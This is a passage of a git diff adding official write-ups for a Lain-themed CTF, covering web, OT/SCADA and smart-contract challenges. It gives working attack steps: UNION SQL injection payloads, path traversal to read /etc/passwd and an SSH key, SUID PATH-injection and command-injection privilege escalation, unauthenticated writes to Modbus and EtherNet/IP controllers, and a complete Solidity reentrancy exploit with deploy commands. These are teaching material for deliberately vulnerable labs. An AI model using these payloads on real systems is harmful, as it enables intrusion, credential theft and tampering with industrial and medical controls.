4141/tcp | PNG filter-type steganography | +| L03 | CHANNEL_KNIGHTS | 8080/tcp | SQL injection + Vigenère cipher | +| L07 | CHANNEL_WIRED | 4242/tcp | State machine sequence brute-force | +| L13 | CHANNEL_EIRI | 9001/tcp | Echo hiding audio steganography | +| GOD | LAYER_GOD | 6660/tcp | Ritual submission + SUID exploit | + +## Layer 01 — CHANNEL_STATIC (PNG stego) + +The PNG at `/home/lain/CHANNEL_STATIC/lain_signal.png` hides data in the +**filter type bytes** — the first byte of each scanline in the raw IDAT stream. + +```python +import struct, zlib + +with open("lain_signal.png", "rb") as f: + data = f.read() + +pos, idat = 8, b"" +while pos < len(data): + length = struct.unpack(">I", data[pos:pos+4])[0] + ctype = data[pos+4:pos+8] + if ctype == b"IDAT": + idat += data[pos+8:pos+8+length] + pos += 12 + length + +raw = zlib.decompress(idat) +row_size = 1 + 64 * 3 # 1 filter byte + 64×RGB pixels +# First 24 filter bytes encode 3 ASCII chars (8 bits each) +bits = [raw[i * row_size] for i in range(24)] +decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3)) +``` + +Submit the decoded string: + +```text +SUBMIT +``` + +Server responds with token `L01:xxxxxxxxxx`. + +## Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère) + +The web service at port 8080 has a `/search?q=` endpoint vulnerable to UNION-based SQLi. + +```text +/search?q=' UNION SELECT id,alias,rank,access_code,status FROM members-- +``` + +One row contains a Vigenère-encrypted access code. Decrypt it with key `KUDARANAI`: + +```python +def vigenere_decrypt(text, key): + result, ki = [], 0 + for c in text.upper(): + if c.isalpha(): + shift = ord(key[ki % len(key)].upper()) - ord("A") + result.append(chr((ord(c) - ord("A") - shift) % 26 + ord("A"))) + ki += 1 + else: + result.append(c) + return "".join(result) +``` + +Submit the plaintext to `/submit?code=`. +Server responds with token `L03:xxxxxxxxxx`. + +## Layer 07 — CHANNEL_WIRED (state machine) + +The service at port 4242 expects a 4-word sequence. The first two are fixed: +`PRESENT_DAY`, `PRESENT_TIME`. Brute-force the last two from known word lists: + +```python +WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS", + "KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"] +WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"] + +for w3, w4 in itertools.product(WORD3, WORD4): + # try sequence: PRESENT_DAY → PRESENT_TIME → w3 → w4 +``` + +Server responds with token `L07:xxxxxxxxxx` on success. + +## Layer 13 — CHANNEL_EIRI (echo hiding) + +The service at port 9001 streams 30 seconds of 16-bit mono PCM at 44100 Hz. +Data is hidden via **echo hiding**: a 1-bit echo at delay `D1=200` (bit 1) or +`D0=100` (bit 0) is embedded in 1024-sample segments. + +```python +import numpy as np + +# After streaming and collecting pcm_data: +samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0 + +SEG_SIZE, D0, D1 = 1024, 100, 200 +N_CHARS = 5 +bits = [] +for i in range(N_CHARS * 8): + seg = samples[i * SEG_SIZE: (i + 1) * SEG_SIZE] + ac = np.correlate(seg, seg, "full") + mid = len(ac) // 2 + bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0") + +code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS)) +``` + +Submit the decoded code: + +```text +SUBMIT <code> +``` + +Server responds with token `L13:xxxxxxxxxx`. + +## LAYER_GOD — Ritual + SUID exploit + +Submit all four tokens to port 6660: + +```text +RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx +``` + +On success, the SUID binary `/opt/protocol7/eiri_validator` is unlocked. +Exploit it via command injection — the binary calls `system()` with unsanitised input: + +```bash +/opt/protocol7/eiri_validator +# When prompted, enter: +$(cat /root/flag.txt) +``` + +## Automated Solver + +```bash +python3 solve.py [host] [port] +``` + +## Flag + +`ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}` + +## Author + +Eun0us diff --git a/Misc/Last_Train_451/README.md b/Misc/Last_Train_451/README.md new file mode 100644 index 0000000..8744e9c --- /dev/null +++ b/Misc/Last_Train_451/README.md @@ -0,0 +1,21 @@ +# Last_Train_451 — Solution + +**Difficulty:** TBD | **Category:** Misc | **Flag:** `ESPILON{...}` + +> **Note:** Challenge en cours de développement — `server.py` manquant dans le repo. +> Ce WU sera complété une fois le challenge finalisé. + +## Architecture connue + +- **Port:** 4545/tcp +- **Runtime:** Python 3.10 (d'après le Dockerfile) +- **Entrée:** `nc <host> 4545` + +## Status + +Le Dockerfile est présent mais `server.py` est absent du dépôt. +Le challenge ne peut pas être déployé ni résolu en l'état. + +## Author + +Eun0us diff --git a/Misc/Patient_Portal/README.md b/Misc/Patient_Portal/README.md new file mode 100644 index 0000000..f7265ef --- /dev/null +++ b/Misc/Patient_Portal/README.md @@ -0,0 +1,137 @@ +# Patient Portal — Solution + +## Overview + +Multi-stage challenge: SQLi → Admin Panel → Path Traversal → SSH Access → SUID Privesc → Root + +**Flag:** `ESPILON{r00t_0f_s41nt3_m1k4}` + +--- + +## Stage 1: SQL Injection + +The `/search` endpoint is vulnerable to UNION-based SQL injection. + +### Enumerate columns (6 columns) + +``` +/search?q=' UNION SELECT 1,2,3,4,5,6-- +``` + +### Dump table names + +``` +/search?q=' UNION SELECT 1,name,3,4,5,6 FROM sqlite_master WHERE type='table'-- +``` + +Tables found: `patients`, `users`, `system_config` + +### Dump users table + +``` +/search?q=' UNION SELECT 1,username,password_hash,role,5,6 FROM users-- +``` + +Results: +- `admin` : `e0b7e413c064de43c6c1ca40a8c175a1` (MD5 of `SainteMika2026`) +- `nurse01` : (irrelevant hash) + +### Dump system_config table + +``` +/search?q=' UNION SELECT 1,key,value,3,4,5 FROM system_config-- +``` + +Key finding: `ssh_passphrase = wired-med-013` + +### Crack the admin password + +```bash +echo -n "SainteMika2026" | md5sum +# e0b7e413c064de43c6c1ca40a8c175a1 +``` + +Or use CrackStation / hashcat / john. + +--- + +## Stage 2: Admin Access + +Login at `/login` with: +- Username: `admin` +- Password: `SainteMika2026` + +The admin panel shows: +- Report download links +- System info: SSH on port 2222, user `webadmin` + +--- + +## Stage 3: Path Traversal + +The report download endpoint `/admin/reports?file=` is vulnerable to path traversal. + +### Read /etc/passwd + +``` +/admin/reports?file=../../../etc/passwd +``` + +Confirms user `webadmin` exists. + +### Extract SSH private key + +``` +/admin/reports?file=../../../home/webadmin/.ssh/id_rsa +``` + +Save the key to a file locally. + +--- + +## Stage 4: SSH Access + +```bash +chmod 600 id_rsa +ssh -i id_rsa -p 2222 webadmin@<HOST> +# Passphrase: wired-med-013 (from Stage 1 system_config table) +``` + +--- + +## Stage 5: Privilege Escalation + +### Find SUID binaries + +```bash +find / -perm -4000 -type f 2>/dev/null +``` + +Found: `/opt/navi-monitor/vital-check` (SUID root) + +### Analyze the binary + +```bash +strings /opt/navi-monitor/vital-check +``` + +The binary calls `system("logger -t vital-check 'check complete'")` using a **relative path** for `logger`. + +### PATH injection + +```bash +echo '#!/bin/bash' > /tmp/logger +echo '/bin/bash -p' >> /tmp/logger +chmod +x /tmp/logger +export PATH=/tmp:$PATH +/opt/navi-monitor/vital-check +``` + +This spawns a root shell (`bash -p` preserves the SUID euid). + +### Get the flag + +```bash +cat /root/root.txt +# ESPILON{r00t_0f_s41nt3_m1k4} +``` diff --git a/OT/Cyberia_Grid/README.md b/OT/Cyberia_Grid/README.md new file mode 100644 index 0000000..5098eed --- /dev/null +++ b/OT/Cyberia_Grid/README.md @@ -0,0 +1,75 @@ +# Cyberia Grid -- Solution + +## Overview +EtherNet/IP server simulating a PLC at Cyberia nightclub. The controller +manages power infrastructure and contains hidden tags with encoded KIDS +experiment data. A write-triggered "Psyche Processor" reveals the flag. + +## Steps + +### 1. Connect and Enumerate Tags +Connect to the EtherNet/IP server on port 44818. List all available tags. + +```bash +# Using cpppo client +python -m cpppo.server.enip.client --address HOST:44818 \ + 'Zone_Main_Power' 'Zone_VIP_Power' 'Zone_Basement_Power' \ + 'Sound_System_dB' 'BPM' 'Lighting_Main[0-7]' \ + 'KIDS_Subject[0-15]' 'Knights_Cipher[0-3]' \ + 'Psyche_Processor[0-3]' 'Psyche_Status' 'Decoded_Output' +``` + +### 2. Analyze Infrastructure Tags +- `Zone_Main_Power = 1`, `Zone_VIP_Power = 1` -- normal +- `Zone_Basement_Power = 0` -- basement is OFF (suspicious) +- `Sound_System_dB = 95`, `BPM = 140` +- `Lighting_Main = [255, 200, 180, 150, 100, 80, 60, 40]` + +### 3. Analyze Hidden Tags +- `KIDS_Subject[0-15]`: 16 DINTs containing XOR-encoded flag data +- `Knights_Cipher[0-3]`: partial XOR key `[0x4B, 0x6E, 0x69, 0]` -- 4th byte is missing! +- `Psyche_Processor[0-3]`: all zeros -- awaiting activation +- `Psyche_Status = "DORMANT"` + +### 4. Derive Activation Sequence +The 4 Psyche_Processor values are derived from infrastructure tag values: + +| Index | Formula | Value | +|-------|---------|-------| +| 0 | `Zone_Basement_Power XOR BPM` | `0 ^ 140 = 140` | +| 1 | `Sound_System_dB` | `95` | +| 2 | `sum(Lighting_Main) % 256` | `1065 % 256 = 17` | +| 3 | `0x1337` (hacker constant) | `4919` | + +### 5. Activate Psyche Processor +Write `[140, 95, 17, 4919]` to `Psyche_Processor[0-3]`. + +```python +from cpppo.server.enip.get_attribute import proxy_simple as device +with device(host="HOST", port=44818) as via: + for i, val in enumerate([140, 95, 17, 4919]): + via.write(via.parameter_substitution(f"Psyche_Processor[{i}]"), val) +``` + +### 6. Read Flag +After the PLC scan cycle (~500ms), read `Decoded_Output`: + +```python + flag = via.read(via.parameter_substitution("Decoded_Output")) + print(flag) +``` + +Also: `Knights_Cipher[3]` is now populated (0x67 = 'g'), completing the +key `"Knig"` which can also be used to manually XOR-decode `KIDS_Subject`. + +## Key Insights +- `Zone_Basement_Power = 0` is the first hint that something is hidden underground +- The 0x1337 constant echoes the Operating Room challenge pattern +- The PLC scan cycle polling pattern mimics real industrial controller behavior +- Without authentication, anyone can read/write tags -- a common EtherNet/IP vulnerability + +## Flag +`ESPILON{cyb3r14_ps7ch3_pr0c3ss0r}` + +## Author +Eun0us diff --git a/OT/Operating_Room/README.md b/OT/Operating_Room/README.md new file mode 100644 index 0000000..9842761 --- /dev/null +++ b/OT/Operating_Room/README.md @@ -0,0 +1,84 @@ +# Operating Room -- Solution + +## Overview +Modbus TCP server simulating a hospital operating room control system. +The player must discover the correct unit ID, map the registers, reverse +the XOR-encoded state machine, and execute 6 timed transitions. + +## Steps + +### 1. Discover Unit ID +Scan Modbus unit IDs (slave addresses). The server only responds to **unit ID 13**. +Default unit ID 1 returns Modbus exceptions. + +```python +from pymodbus.client import ModbusTcpClient +client = ModbusTcpClient("HOST") +client.connect() +for uid in range(1, 20): + r = client.read_holding_registers(0, 1, slave=uid) + if not r.isError(): + print(f"Unit ID {uid} responds!") +``` + +### 2. Map Registers + +Read holding registers 0-255 on unit 13: + +- **Registers 0-19**: Operating room telemetry (temperature, humidity, pressure, O2, etc.) +- **Register 13**: `0x4C4E` ("LN" -- Lain easter egg) +- **Register 19**: `0x0D13` -- this is the XOR key +- **Registers 100-105**: State machine (state, encoded hint, timer, transitions, error, key) +- **Register 105**: `0x0D13` -- XOR key copy (confirms reg 19) +- **Register 110**: Write target (trigger register) +- **Registers 200-215**: All zeros (flag area, populated after completion) + +### 3. Understand the State Machine + +- Register 100 = current state (starts at 0) +- Register 101 = encoded hint +- Register 105 = XOR key (0x0D13) +- Decode: `expected_value = reg_101 XOR 0x0D13` +- Write `expected_value` to register 110 to advance the state +- Each transition must happen before register 102 (timer) reaches 0 + +### 4. Execute Transitions + +| State | Subsystem | Decoded Value | Source | +|-------|-----------|--------------|--------| +| 0 | HVAC | 220 | reg 0 (temperature) | +| 1 | Pressure | 15 | reg 2 (pressure) | +| 2 | O2 | 50 | reg 3 (O2 flow) | +| 3 | Ventilation | 1200 | reg 4 (fan RPM) | +| 4 | Lighting | 800 | reg 5 (lux) | +| 5 | Safety | 4919 (0x1337) | special | + +### 5. Read Flag + +After all 6 transitions, register 100 = 7 (complete). +Read registers 200-215 and decode uint16 pairs to ASCII. + +```python +regs = client.read_holding_registers(200, 16, slave=13).registers +flag = "" +for val in regs: + if val == 0: + break + flag += chr((val >> 8) & 0xFF) + chr(val & 0xFF) +print(flag) +``` + +## Key Insights + +- XOR key `0x0D13` is stored in two places (reg 19 and reg 105) as a breadcrumb +- The decoded values for states 0-4 match the current telemetry readings +- State 5 uses the special value `0x1337` (hacker reference) +- Wrong writes or timeouts reset the state machine to 0 + +## Flag + +`ESPILON{m0dbu5_0p3r4t1ng_r00m}` + +## Author + +Eun0us diff --git a/OT/Protocol_Seven/README.md b/OT/Protocol_Seven/README.md new file mode 100644 index 0000000..d64da13 --- /dev/null +++ b/OT/Protocol_Seven/README.md @@ -0,0 +1,78 @@ +# Protocol Seven -- Solution + +## Overview +Multi-protocol challenge requiring cross-referencing three OT protocols. +Eiri Masami distributed Protocol Seven's components across BACnet, OPC-UA, +and EtherNet/IP. Players must extract data from all three and combine +them to decrypt the flag. + +## Architecture + +| Layer | Protocol | Port | Provides | +|-------|----------|------|----------| +| 1 | BACnet/IP | 47809/udp | XOR encryption key (8 bytes) | +| 2 | OPC-UA | 4841/tcp | Encrypted payload (32 bytes) | +| 3 | EtherNet/IP | 44819/tcp | Rotation nonce (integer) | + +## Steps + +### 1. Port Discovery +Scan the target -- three open ports: 47809/udp, 4841/tcp, 44819/tcp. + +### 2. Layer 1 -- BACnet Key Extraction +Send WhoIs to port 47809 → IAm from device 7777. +Read object-list: 8 AnalogValue objects named `Harmonic_0` through `Harmonic_7`. + +Read the device description: **"Key Harmonic Array -- integer components matter"** + +Read presentValue of each harmonic: +``` +Harmonic_0 = 69.14 -> int(69) = 'E' +Harmonic_1 = 105.92 -> int(105) = 'i' +Harmonic_2 = 114.37 -> int(114) = 'r' +Harmonic_3 = 105.68 -> int(105) = 'i' +Harmonic_4 = 95.44 -> int(95) = '_' +Harmonic_5 = 75.81 -> int(75) = 'K' +Harmonic_6 = 101.22 -> int(101) = 'e' +Harmonic_7 = 121.55 -> int(121) = 'y' +``` + +**XOR key = `Eiri_Key` (8 bytes)** + +### 3. Layer 2 -- OPC-UA Payload Extraction +Connect anonymously to `opc.tcp://HOST:4841/protocol7/`. +Read `Server.NamespaceArray` → find `urn:protocol-seven:payload`. + +Browse `Protocol7_Vault`: +- `Payload_Encrypted`: 32-byte ByteString (the ciphertext) +- `Layer_Info`: "Payload encrypted with 8-byte repeating XOR key -- see BACnet harmonics" +- `IV_Hint`: "Rotation offset from CIP controller -- read NONCE tag" + +### 4. Layer 3 -- EtherNet/IP Nonce Extraction +Connect to EtherNet/IP on port 44819. Read tags: +- `NONCE = 3` (the rotation offset) +- `Layer_Hint`: "Rotate payload by NONCE bytes before XOR decryption" +- `Assembly_Check = [47809, 4841, 44819]` (confirms all three ports) + +### 5. Decryption +```python +# XOR payload with repeating key +xored = bytes(payload[i] ^ key[i % 8] for i in range(32)) +# Rotate right by NONCE (undo the left rotation used during encryption) +flag = xored[-nonce:] + xored[:-nonce] +# Strip null padding +print(flag.rstrip(b'\x00').decode()) +``` + +## Key Insights +- The BACnet device description explicitly says "integer components matter" +- The OPC-UA hints point directly to BACnet and EtherNet/IP +- The EtherNet/IP `Assembly_Check` tag confirms the three-port architecture +- `Eiri_Key` as the XOR key is a mnemonic hint (Eiri Masami is the creator) +- The challenge teaches multi-protocol OT environments and data cross-referencing + +## Flag +`ESPILON{pr0t0c0l_7_m3rg3_c0mpl3t3}` + +## Author +Eun0us diff --git a/OT/Schumann_Resonance/README.md b/OT/Schumann_Resonance/README.md new file mode 100644 index 0000000..0566c65 --- /dev/null +++ b/OT/Schumann_Resonance/README.md @@ -0,0 +1,74 @@ +# Schumann Resonance -- Solution + +## Overview +Raw BACnet/IP server simulating an environmental monitoring station at +Tachibana General Laboratories, Sub-basement 7. The device contains hidden +flag fragments XOR-encoded in object descriptions. Writing the Schumann +resonance frequency (7.83 Hz) to the tuning register reveals the flag. + +## Steps + +### 1. Device Discovery +Send a BACnet WhoIs broadcast to UDP port 47808. The device responds +with IAm: device instance **783** (reference to 7.83 Hz). + +```python +# Using BAC0: +import BAC0 +bacnet = BAC0.lite(ip="YOUR_IP/24") +bacnet.whois() +# -> Device:783 "Tachibana-ENV-SB7" +``` + +### 2. Enumerate Objects +Read the object-list property from Device:783: +- AnalogInput:0-3 -- normal environmental sensors (temp, humidity, pressure, CO2) +- **AnalogInput:4** -- EMF_Resonance = 7.83, description = **"PROTOCOL_SEVEN_CARRIER"** +- AnalogValue:10 -- Freq_Multiplier = 0.0 (writable!) +- AnalogValue:11-17 -- Fragment_0 through Fragment_6 (descriptions are hex strings) +- BinaryValue:100 -- Resonance_Lock = inactive +- CharStringValue:200 -- Research_Log = "Access Denied" + +### 3. Identify Key +Device instance 783 → 7.83 Hz → Schumann Resonance. +XOR key = `0x0783` (2-byte big-endian from device instance). + +### 4. Decode Fragments +Each Fragment_N has a description containing a hex-encoded XOR'd string. +XOR each byte with the alternating key bytes (0x07, 0x83): + +```python +key = (0x07, 0x83) +for frag in fragments: + enc = bytes.fromhex(frag) + dec = bytes(b ^ key[i % 2] for i, b in enumerate(enc)) + print(dec.decode()) +``` + +Concatenate all decoded fragments → the flag. + +### 5. Activate (Alternative Path) +Write `7.83` to AnalogValue:10 (Freq_Multiplier): + +```python +# WriteProperty: object=AnalogValue:10, property=presentValue, value=7.83 +``` + +This sets BinaryValue:100 (Resonance_Lock) to active and writes the +flag to CharStringValue:200 (Research_Log). + +### 6. Read Flag +Read the presentValue of CharStringValue:200 (Research_Log). + +## Key Insights +- Device instance 783 is the key derivation hint (7.83 Hz) +- AnalogInput:4 description "PROTOCOL_SEVEN_CARRIER" confirms the Schumann connection +- Freq_Multiplier description says "set to Schumann harmonic to activate" +- Two solve paths: decode fragments manually OR activate and read Research_Log +- No authentication on BACnet -- a real-world building automation vulnerability + +## Flag +`ESPILON{sch0m4nn_r3s0n4nc3_783}` + +## Author +Eun0us diff --git a/OT/Tachibana_SCADA/README.md b/OT/Tachibana_SCADA/README.md new file mode 100644 index 0000000..1841d67 --- /dev/null +++ b/OT/Tachibana_SCADA/README.md @@ -0,0 +1,76 @@ +# Tachibana SCADA -- Solution + +## Overview +OPC-UA server simulating Tachibana General Laboratories' SCADA system. +The server allows anonymous connections (SecurityPolicy None) and contains +a hidden namespace with Eiri Masami's backdoor methods. + +## Steps + +### 1. Connect Anonymously +Connect to `opc.tcp://HOST:4840/tachibana/` without credentials. +The server accepts anonymous connections -- a common OT misconfiguration. + +```python +from asyncua import Client +client = Client("opc.tcp://HOST:4840/tachibana/") +await client.connect() +``` + +### 2. Discover Namespaces +Read the `Server.NamespaceArray` to discover all registered namespaces: +- `ns=0`: OPC-UA standard +- `ns=1`: Server internal +- `ns=2`: `urn:tachibana:scada` (public SCADA data) +- `ns=3`: `urn:tachibana:eiri:kids` (hidden!) + +```python +ns_array = await client.get_namespace_array() +``` + +### 3. Browse Public Namespace (ns=2) +Standard SCADA data: power distribution, cooling systems, Wired Interface Array. +Note `Resonance_Hz = 7.83` (Schumann resonance breadcrumb). + +### 4. Browse Hidden Namespace (ns=3) +Navigate to `EiriMasami` folder: +- `KIDS_Project/` contains variables: `SubjectCount=0`, `Protocol7_Version="7.0.0-alpha"`, `Activation_Key="????????"` +- `Backdoor/` contains two methods: `Authenticate` and `ExtractResearchData` + +### 5. Analyze Method Signatures +Read the `InputArguments` property of each method: +- `Authenticate(username: String, key_hash: ByteString) -> session_token: String` +- `ExtractResearchData(session_token: String, project_id: UInt32) -> data: String` + +The `key_hash` description says: "16-byte truncated SHA-256 of the project name" + +### 6. Derive Credentials +- **username**: `eiri` (from namespace URI `urn:tachibana:eiri:kids`) +- **key_hash**: `SHA256("KIDS")[:16]` (KIDS = project name from the namespace) + +```python +import hashlib +key_hash = hashlib.sha256(b"KIDS").digest()[:16] +``` + +### 7. Authenticate +Call the `Authenticate` method with the derived credentials. +Returns a hex session token valid for 5 minutes. + +### 8. Extract Protocol Seven +Call `ExtractResearchData` with the session token and `project_id=7` +(from `Protocol7_Version = "7.0.0-alpha"` -- project number 7). + +Returns the flag. + +## Key Insights +- The namespace URI `urn:tachibana:eiri:kids` directly contains the username ("eiri") and hash source ("kids") +- `Protocol7_Version = "7.0.0-alpha"` hints that `project_id = 7` +- Anonymous OPC-UA access is a real-world ICS misconfiguration +- Method argument descriptions provide hints about the expected input format + +## Flag +`ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}` + +## Author +Eun0us diff --git a/README.md b/README.md new file mode 100644 index 0000000..0f665b9 --- /dev/null +++ b/README.md @@ -0,0 +1,110 @@ +# ESPILON CTF 2026 — Write-ups officiels + +> **Édition 1** · Thème : *Serial Experiments Lain × Sécurité industrielle & embarquée* + +Write-ups de l'ensemble des challenges de la première édition ESPILON CTF. +Les catégories couvrent le matériel bas niveau, l'IoT, les systèmes OT/SCADA, l'ESP32 et les smart contracts EVM. + +--- + +## Challenges + +### 🟢 Intro + +| Challenge | Difficulté | Flag | +|-----------|-----------|------| +| [The Wired](Intro/The_Wired/) | Easy | `ESPILON{th3_w1r3d_kn0ws_wh0_y0u_4r3}` | + +--- + +### 📡 ESP + +| Challenge | Difficulté | Flag | +|-----------|-----------|------| +| [ESP Start](ESP/ESP_Start/) | Easy | `ESPILON{st4rt_th3_w1r3}` | +| [Phantom Byte](ESP/Phantom_Byte/) | Medium | `ESPILON{bl1nd_str4ddl3}` | +| [Jnouner Router](ESP/Jnouner_Router/) | Hard | 4 flags *(voir WU)* | + +--- + +### 🔌 Hardware + +| Challenge | Difficulté | Flag | +|-----------|-----------|------| +| [Serial Experimental 00](Hardware/Serial_Experimental_00/) | Easy | dynamique | +| [Signal Tap Lain](Hardware/Signal_Tap_Lain/) | Medium-Hard | `ESPILON{s1gn4l_t4p_l41n}` | +| [NAVI I2C Sniff](Hardware/NAVI_I2C_Sniff/) | Medium-Hard | dynamique | +| [Phantom JTAG](Hardware/Phantom_JTAG/) | Medium-Hard | dynamique | +| [Wired SPI Exfil](Hardware/Wired_SPI_Exfil/) | Medium-Hard | dynamique | +| [CAN Bus Implant](Hardware/CAN_Bus_Implant/) | Medium-Hard | dynamique | +| [Glitch The Wired](Hardware/Glitch_The_Wired/) | Medium-Hard | dynamique | + +> Les challenges Hardware sont des containers Docker avec des flags dynamiques générés par instance. + +--- + +### 📶 IoT + +| Challenge | Difficulté | Flag | +|-----------|-----------|------| +| [Nurse Call](IoT/Nurse_Call/) | Easy | `ESPILON{r3v31ll3_m01_d4ns_l3_w1r3d}` | +| [Lets All Love UART](IoT/Lets_All_Love_UART/) | Easy | `ESPILON{LAIN_TrUsT_U4RT}` | +| [Wired Airwave 013](IoT/Wired_Airwave_013/) | Medium | `ESPILON{sdr_fsk_w1r3d_m3d_013}` | +| [LAIN Breakcore](IoT/Lain_Br34kC0r3/) | Medium | `ECW{LAIN_Br34k_CryPT0}` | +| [Anesthesia Gateway](IoT/Anesthesia_Gateway/) | Medium-Hard | `ESPILON{mQtt_g4tw4y_4n3sth3s14}` | +| [Observe The Wired](IoT/Observe_The_Wired/) | Medium-Hard | `ESPILON{c0ap_0bs3rv3_th3_w1r3d}` | +| [Lets All Hate UART](IoT/Lets_All_Hate_UART/) | Medium-Hard | `ESPILON{u4rt_nvs_fl4sh_d1sc0v3ry}` | +| [LAIN_Br34kC0r3 V2](IoT/Lain_Br34kC0r3_V2/) | Hard | `ESPILON{3sp32_fl4sh_dump_r3v3rs3d}` | +| [LAIN vs Knights](IoT/Lain_VS_Knights/) | Hard | `ESPILON{0nlY_L41N_C4N_S0lv3}` | +| [Cr4cK_w1f1](IoT/Cr4cK_w1f1/) | Medium | *(challenge en cours)* | + +--- + +### 🏭 OT / SCADA + +| Challenge | Difficulté | Flag | +|-----------|-----------|------| +| [Schumann Resonance](OT/Schumann_Resonance/) | Medium | `ESPILON{sch0m4nn_r3s0n4nc3_783}` | +| [Operating Room](OT/Operating_Room/) | Medium-Hard | `ESPILON{m0dbu5_0p3r4t1ng_r00m}` | +| [Cyberia Grid](OT/Cyberia_Grid/) | Medium-Hard | `ESPILON{cyb3r14_ps7ch3_pr0c3ss0r}` | +| [Tachibana SCADA](OT/Tachibana_SCADA/) | Medium-Hard | `ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}` | +| [Protocol Seven](OT/Protocol_Seven/) | Hard | `ESPILON{pr0t0c0l_7_m3rg3_c0mpl3t3}` | + +--- + +### 🔮 Misc + +| Challenge | Difficulté | Flag | +|-----------|-----------|------| +| [Patient Portal](Misc/Patient_Portal/) | Medium-Hard | `ESPILON{r00t_0f_s41nt3_m1k4}` | +| [Accela Signal](Misc/Accela_Signal/) | Hard | `ESPILON{4cc3l4_ch1rp_spr34d_w1r3d}` | +| [LAYER_ZERO](Misc/LAYER_ZERO/) | Hard | `ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}` | +| [AETHER_NET](Misc/AETHER_NET/) | Insane | `ESPILON{4eth3r_n3t_d3us_4dm1n}` | +| [Last Train 451](Misc/Last_Train_451/) | TBD | *(challenge en cours)* | + +--- + +### ⛓️ Web3 / EVM + +| Challenge | Difficulté | Flag | +|-----------|-----------|------| +| [GANTZ BALL CONTRACT](Web3/GANTZ_BALL_CONTRACT/) | Insane | `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}` | +| [TACHIBANA FIRMWARE REGISTRY](Web3/TACHIBANA_FIRMWARE_REGISTRY/) | Insane | `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}` | + +--- + +## Système de scoring + +| Difficulté | Initial | Minimum | Decay (solves) | +|------------|---------|---------|----------------| +| Easy | 250 | 50 | 100 | +| Medium | 400 | 80 | 80 | +| Medium-Hard | 500 | 100 | 60 | +| Hard | 600 | 150 | 50 | +| Insane | 600+ | 150 | 50 | + +--- + +## Auteur + +**Eun0us** — ESPILON CTF 2026 diff --git a/Web3/GANTZ_BALL_CONTRACT/README.md b/Web3/GANTZ_BALL_CONTRACT/README.md new file mode 100644 index 0000000..12f5a59 --- /dev/null +++ b/Web3/GANTZ_BALL_CONTRACT/README.md @@ -0,0 +1,124 @@ +# GANTZ_BALL_CONTRACT — Solution + +**Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}` + +## Overview + +Bytecode-only Solidity challenge. No source code is provided — you must reverse +the EVM bytecode to find a **cross-function reentrancy** vulnerability caused by +two separate reentrancy guards instead of one global lock. + +## Architecture + +- Port 1337/tcp: console (commands: `info`, `bytecode`, `check`) +- Port 8545/tcp: Ethereum JSON-RPC node + +## Step 1 — Reverse the bytecode + +```text +bytecode +``` + +Decompile with Dedaub / Heimdall / Panoramix. Recover: + +- `register()` — enroll as a hunter +- `claimKill(uint256 missionId, string proof)` — earn points per mission +- `stakePoints(uint256 amount)` — stake points, deposit ETH (1 pt = 0.001 ETH) +- `unstake()` — withdraw ETH, restore points +- `claimReward()` — claim reward if `points + stakedPoints >= 100` + +**Key finding:** the contract uses two separate guards: `_stakeLock` (protects +`stakePoints`/`unstake`) and `_rewardLock` (protects `claimReward`). While inside +`unstake()`, `_stakeLock=1` but `_rewardLock=0` — allowing re-entry into +`claimReward()` before `stakedPoints` is zeroed. + +## Step 2 — Find mission proofs + +From contract storage, extract the four `keccak256` target hashes. +Brute-force short string preimages: + +| Mission | Points | Proof | +|---------|--------|---------------| +| 0 | 20 | `onion_alien` | +| 1 | 25 | `tanaka_alien` | +| 2 | 30 | `buddha_alien` | +| 3 | 35 | `boss_alien` | + +## Step 3 — Deploy attacker contract + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +interface IGantzBall { + function register() external; + function claimKill(uint256 missionId, string calldata proof) external; + function stakePoints(uint256 amount) external payable; + function unstake() external; + function claimReward() external; +} + +contract GantzExploit { + IGantzBall public ball; + bool private attacking; + + constructor(address _ball) payable { ball = IGantzBall(_ball); } + + function exploit() external { + ball.register(); + ball.claimKill(0, "onion_alien"); // +20 → 20 pts + ball.claimKill(1, "tanaka_alien"); // +25 → 45 pts + ball.claimKill(2, "buddha_alien"); // +30 → 75 pts + ball.claimKill(3, "boss_alien"); // +35 → 110 pts + + ball.stakePoints{value: 0.1 ether}(100); + // Now: points=10, stakedPoints=100 + + attacking = true; + ball.unstake(); + // In receive(): stakedPoints=100 not yet zeroed → claimReward passes + } + + receive() external payable { + if (attacking) { + attacking = false; + // _stakeLock=1 but _rewardLock=0 → cross-function reentrancy + ball.claimReward(); + // points(10) + stakedPoints(100) = 110 >= 100 ✓ + } + } +} +``` + +```bash +forge create GantzExploit \ + --constructor-args <BALL_ADDR> \ + --value 0.2ether \ + --rpc-url http://<HOST>:8545 \ + --private-key <PLAYER_KEY> + +cast send <EXPLOIT_ADDR> 'exploit()' \ + --rpc-url http://<HOST>:8545 \ + --private-key <PLAYER_KEY> +``` + +## Step 4 — Get the flag + +```text +check +``` + +## Key Concepts + +- **EVM bytecode reversal**: No source code — must recover ABI and logic from opcodes +- **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function boundaries +- **Storage layout**: Dynamic arrays, mappings, and packed slots follow deterministic Solidity layout rules +- **keccak256 preimage brute force**: Short human-readable strings are feasible to brute-force + +## Flag + +`ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}` + +## Author + +Eun0us diff --git a/Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md b/Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md new 